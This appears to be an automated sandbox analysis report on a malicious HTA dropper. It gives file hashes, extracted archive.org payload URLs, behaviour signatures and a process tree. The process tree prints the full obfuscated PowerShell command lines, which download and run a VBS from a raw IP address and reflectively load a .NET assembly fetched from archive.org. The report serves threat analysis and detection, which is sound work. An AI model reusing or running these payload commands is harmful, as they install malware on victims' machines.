Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    25-09-2024 00:31

General

  • Target

    IEnetbookCookies.hta

  • Size

    115KB

  • MD5

    e22849cf884da37532e50f50a298c344

  • SHA1

    b40e6ca50290ed885ff60c691444b33f3fb0a643

  • SHA256

    e15bf785da97ec4893315687222ab28f491b49de7e95558086cd59d23b85c057

  • SHA512

    7d241fe5b00949a1b3f12f86359f1870a19fbf400b7ebb10ae6936ea44ab6ac01cd838d801a7be502b3e58c97c33db317ef1d0bc12db108f2f766ad6bf03b40e

  • SSDEEP

    96:Ea+M7XN7VQ63VQcuLNdfJ1LV9jzeVQda8AT:Ea+QXgXPnzILT

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\IEnetbookCookies.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2324
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/C pOWersHElL -ex ByPasS -Nop -w 1 -C deVIcECRedeNtiaLDeploYmeNt ; iex($(IeX('[sYStEm.tEXT.ENCoding]'+[ChAr]58+[chAR]0X3A+'utf8.gEtSTrInG([SySTem.COnveRT]'+[Char]0x3a+[cHAR]0X3A+'fROmbasE64STring('+[ChAr]0X22+'JG9QMmVEVUJFZ2ogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVtQmVyZGVmaW5JVGlPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxtb24iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBOLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZObEMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0xYWU9ZZXEsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUpBenZBKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVmsiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUVTUGFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRtQSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb1AyZURVQkVnajo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEzNC4yNTUuMjI3LjI0OC94YW1wcC9rYi9uaWNlcGljdHVyZXdpdGhoZXJpbWFnZXNnb29kLnRJRiIsIiRlTnY6QVBQREFUQVxuaWNlcGljdHVyZXdpdGhoZXJpbWFnZXNnb29kLnZCUyIsMCwwKTtzdEFSVC1TTGVFUCgzKTtTVGFSdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcbmljZXBpY3R1cmV3aXRoaGVyaW1hZ2VzZ29vZC52QlMi'+[ChAr]34+'))')))"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2988
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        pOWersHElL -ex ByPasS -Nop -w 1 -C deVIcECRedeNtiaLDeploYmeNt ; iex($(IeX('[sYStEm.tEXT.ENCoding]'+[ChAr]58+[chAR]0X3A+'utf8.gEtSTrInG([SySTem.COnveRT]'+[Char]0x3a+[cHAR]0X3A+'fROmbasE64STring('+[ChAr]0X22+'JG9QMmVEVUJFZ2ogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVtQmVyZGVmaW5JVGlPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxtb24iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBOLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZObEMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0xYWU9ZZXEsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUpBenZBKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVmsiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUVTUGFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRtQSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb1AyZURVQkVnajo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEzNC4yNTUuMjI3LjI0OC94YW1wcC9rYi9uaWNlcGljdHVyZXdpdGhoZXJpbWFnZXNnb29kLnRJRiIsIiRlTnY6QVBQREFUQVxuaWNlcGljdHVyZXdpdGhoZXJpbWFnZXNnb29kLnZCUyIsMCwwKTtzdEFSVC1TTGVFUCgzKTtTVGFSdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcbmljZXBpY3R1cmV3aXRoaGVyaW1hZ2VzZ29vZC52QlMi'+[ChAr]34+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2684
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xwrg6myx.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3044
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3026.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC3025.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2116
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\nicepicturewithherimagesgood.vBS"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2532
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRzaEVsbElkWzFdKyRTSEVsTGlEWzEzXSsneCcpICggKCd4UGl1cmwnKycgPScrJyBzJysna3JodHRwJysnczovLycrJ2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdicrJ2Uub3JnJysnLzI0L2l0JysnZScrJ21zL2RldGFoLScrJ25vdGUtJysndi9EZScrJ3RhaE5vdGVWJysnLnR4dHNrJysncjt4UGknKydiYScrJ3NlJysnNjRDbycrJ24nKyd0ZScrJ250ID0gKCcrJ05ldy1PYmplJysnY3QgUycrJ3lzdGVtLicrJ05ldC5XZWJDJysnbGknKydlbnQpLicrJ0Rvd25sJysnb2FkU3RyaW4nKydnKHhQaXVybCk7JysneFAnKydpJysnYmluYXJ5JysnQ29udGUnKydudCA9IFtTeXN0JysnZW0uQ29udmVydF06OkZyb21CJysnYScrJ3NlNjRTJysndHJpbicrJ2coeFBpJysnYmFzZTY0Q29udGUnKyduJysndCk7eFBpYXMnKydzZW1ibHkgPScrJyBbUmVmbGVjJysndCcrJ2knKydvbi5Bc3NlbWJseScrJ106JysnOkwnKydvYWQoJysneFBpYmluJysnYXInKyd5Q29udGVudCk7eFAnKydpdHknKydwZSA9IHgnKydQaWFzJysnc2VtJysnYicrJ2x5LkdlJysndFR5cCcrJ2Uoc2tyJysnUnUnKyduUCcrJ0UuSG9tZXNrcicrJyk7eFBpJysnbWUnKyd0aG9kID0geFBpdHknKydwZS5HZXRNZXQnKydobycrJ2QoJysnc2tyVkFJc2tyJysnKTt4UCcrJ2knKydtZXRob2QnKycuSW52Jysnb2tlKHhQaW51bGwnKycsJysnIFsnKydvYmplJysnY3RbXV1AJysnKHNrcnR4dC5LS1JPTksnKycvYmsvcHBtYXgnKycvODQyLjcnKycyJysnMi41NTIuNDMxLy86cCcrJ3R0aHNrciAsJysnICcrJ3MnKydrcmRlc2F0aXZhZG8nKydza3IgLCAnKydza3JkJysnZXNhdGl2JysnYWQnKydvcycrJ2snKydyICcrJywgc2tyZCcrJ2UnKydzYXRpdmFkb3Nrcixza3JSZScrJ2dBcycrJ21zaycrJ3Isc2tyc2tyKSknKS5SRVBsQWNFKCd4UGknLCckJykuUkVQbEFjRSgoW2NIQXJdMTE1K1tjSEFyXTEwNytbY0hBcl0xMTQpLFtTVHJpTkddW2NIQXJdMzkpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:792
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $shEllId[1]+$SHElLiD[13]+'x') ( ('xPiurl'+' ='+' s'+'krhttp'+'s://'+'ia600100'+'.us.'+'archiv'+'e.org'+'/24/it'+'e'+'ms/detah-'+'note-'+'v/De'+'tahNoteV'+'.txtsk'+'r;xPi'+'ba'+'se'+'64Co'+'n'+'te'+'nt = ('+'New-Obje'+'ct S'+'ystem.'+'Net.WebC'+'li'+'ent).'+'Downl'+'oadStrin'+'g(xPiurl);'+'xP'+'i'+'binary'+'Conte'+'nt = [Syst'+'em.Convert]::FromB'+'a'+'se64S'+'trin'+'g(xPi'+'base64Conte'+'n'+'t);xPias'+'sembly ='+' [Reflec'+'t'+'i'+'on.Assembly'+']:'+':L'+'oad('+'xPibin'+'ar'+'yContent);xP'+'ity'+'pe = x'+'Pias'+'sem'+'b'+'ly.Ge'+'tTyp'+'e(skr'+'Ru'+'nP'+'E.Homeskr'+');xPi'+'me'+'thod = xPity'+'pe.GetMet'+'ho'+'d('+'skrVAIskr'+');xP'+'i'+'method'+'.Inv'+'oke(xPinull'+','+' ['+'obje'+'ct[]]@'+'(skrtxt.KKRONK'+'/bk/ppmax'+'/842.7'+'2'+'2.552.431//:p'+'tthskr ,'+' '+'s'+'krdesativado'+'skr , '+'skrd'+'esativ'+'ad'+'os'+'k'+'r '+', skrd'+'e'+'sativadoskr,skrRe'+'gAs'+'msk'+'r,skrskr))').REPlAcE('xPi','$').REPlAcE(([cHAr]115+[cHAr]107+[cHAr]114),[STriNG][cHAr]39))"
              6⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2148

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\RES3026.tmp

    Filesize

    1KB

    MD5

    ca727246c6ddbe1c676588d3397ab2f7

    SHA1

    03b7cc0d27d524e43c841fac3b1c15d55f506026

    SHA256

    1111e4e26a219c48cdb766417fb5bee1e7420fbdbfac2756ce569d97be09b1a9

    SHA512

    7a90012b4ed93b1b0112d7f8cd69bcfe76cf10fb445e1fb3a2d8e6e6ff7e8b7f737ee05c6045c72899dcb879f89fbc8e2efd1bf0aa64c1afa535d00bc209c063

  • C:\Users\Admin\AppData\Local\Temp\xwrg6myx.dll

    Filesize

    3KB

    MD5

    60876b3a15bc8600044684103b5b55a3

    SHA1

    56da17619d927f0fbe75beadc2d4ac7dabd077c5

    SHA256

    ecf4bc2a64e11ccd498ac8be53770429ee3919e5cc5b914fafbb5a1298fff35f

    SHA512

    e3894fd32137adab956a29911c0452b3d5c904a350d3713b331bc065fa20aa0ca135b8fd7c11dc7e12d0accbeca91eb0c69b6ad2ab808975e5470fcd86f8b144

  • C:\Users\Admin\AppData\Local\Temp\xwrg6myx.pdb

    Filesize

    7KB

    MD5

    012eff455317906674cf2355079c2b02

    SHA1

    866628ede5a22dec07c027d18c353372b2e1e038

    SHA256

    197bb2fa66b26931fba867c6aafd0d4b8eb4d6883c992fac847e76f404faad9b

    SHA512

    f3dda9383377de9360073be39ef0abd83809129482fbd7ab554b2a122087e661e2b5f7538f6d46f32e46c010eb82583e1e1554abd65c9a4e1b245962935c9a78

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    bf333cb561c982d42c18ad78ab62a184

    SHA1

    f2f0a403d4125f954c24a4c15fc0ed9410142887

    SHA256

    7bd7ffa70895dbf847990c3c01fca28795e0640c950959d984ef54c1b3c6cf2a

    SHA512

    4429ff59dce0da1e696e8660cc644db380873624afdfd3958a4ada47d66c9feab2e6322d6fff0a8f60a149bf67b186f84ee3d8c0f0021e4e5cc73546ea43206a

  • C:\Users\Admin\AppData\Roaming\nicepicturewithherimagesgood.vBS

    Filesize

    257KB

    MD5

    134f2e8115174dea5246b807fd0c8427

    SHA1

    c47a738087706c17b345c8b93b8eb71c1518e3a8

    SHA256

    01b5377b8e2fd5cc88c57a2115fefc853ddecbf4aff300357391dcd803b7d67d

    SHA512

    efc7386287e271b6d1050f1c585073351b0b9cc9cd551cb759f02fbe4a492bb3ff20b3d498cd608558353b1879a591ae630e5e0e1e0d7286a31fdde7787c0c08

  • \??\c:\Users\Admin\AppData\Local\Temp\CSC3025.tmp

    Filesize

    652B

    MD5

    c6ace8f4839cba417637e7e3a08db3da

    SHA1

    ce588cd32827d6918406b1280b7394c4e0f38f6b

    SHA256

    c55d05808b92e29312fcaeae3f4dac1e43868a348a9126ef5c369ffd06d8472f

    SHA512

    67994cc3d1aaa2583287c6a66f6e4abf548c4bf73202f8c7c900e48cbc9e783c7d9c42f16d75ffc642067a2ac49f5141f2614a78989713ff3f67de1696319b18

  • \??\c:\Users\Admin\AppData\Local\Temp\xwrg6myx.0.cs

    Filesize

    458B

    MD5

    e07522da7bc6c3ae3fc141d4f7384edf

    SHA1

    0b2d7ab75bca2211d5aea9a1671929f033bbaf09

    SHA256

    b0428efd614521c6b91abdad5a9885a2698f8729a6fc77087383a4a07e28da19

    SHA512

    6d30515cd0dddd23f8d2554d107c5afee82d29aa7c5dc6878546758350c13bd8421b066b39bd1d782381e70e75f9afe1e521d301e9478ecf16f9b075ed34addd

  • \??\c:\Users\Admin\AppData\Local\Temp\xwrg6myx.cmdline

    Filesize

    309B

    MD5

    bed9e0b0665e0319e0309e990b6f5a88

    SHA1

    5405ef66bd625426b5976c7f74300262fcd9468a

    SHA256

    efc3e41e3706a5b71629566084852186acb5866766217c4d1e29d296aca9ef0d

    SHA512

    0f77b77ddcad4e669300b628780a6998cbf2f5df5a4e1dcef722e3b7d0632867c8104c184cf02e8016ca35d85e4ffc378dd9b1fc6050f6263a2b494e92e37621